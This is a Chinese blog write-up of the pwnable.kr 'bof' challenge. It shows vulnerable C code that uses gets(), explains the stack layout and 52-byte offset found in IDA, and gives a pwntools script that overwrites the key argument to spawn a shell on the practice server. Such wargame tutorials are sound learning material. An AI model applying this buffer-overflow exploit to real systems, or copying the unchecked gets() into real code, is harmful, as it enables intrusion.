pwn之bof

有一两周没更新了,坚持...  接着前边继续第三篇bof.

这次让我们直接下载bof.c,以及bof文件.分析代码和文件,然后在pwnable.kr 9000执行,获取flag

1.先看下bof.c的代码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

gets() 函数的功能是从输入缓冲区中读取一个字符串存储到字符指针变量 str 所指向的内存空间。直到遇见空字符为止.如果我们输入的字符超过了32个字符,在代码中未做其他措施, 会溢出到变量char overflow[32]之外的内存空间.包括本函数的局部变量,参数,返回地址,及ebp. 具体可参考这篇文章:https://mp.csdn.net/postedit/47749603. 我们下边也会简单分析下.

2.分析完代码,我们知道了我们输入到命令行 的字符会覆盖掉key原本的值, 我们要做的就是是覆盖后的值是0xcafebabe. 那么问题来了,怎么找到参数key的内存地址呢?  或者找到key和overflow的地址偏移.

3.可以留意下bof的文件格式.显示是elf文件格式,由gcc编译而成.

4.我们将bof文件拖到ida中,按下F5看一下.main函数中的func即是第二幅图

5. 可以看到:  char s; // [sp+1Ch] [bp-2Ch]@1

 s即为overflow的其实地址,bp-2Ch.  看下边一副图,来源于网络.也可以参考上边说的另一篇文章.

 

参数key的位置是ebp+8. overflow的起始位置是ebp-2Ch.  转化为十进制是2C+8 = 52. 即输入命令行参数时 要

52* '任意字符 ' + "\xbe\xba\xfe\xca"

使用pwntools写脚本:

# -*- coding:utf-8 -*-  
import pwn
r = pwn.remote('pwnable.kr',9000)
r.send('a'*52+pwn.p32(0xcafebabe))

r.interactive()


 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章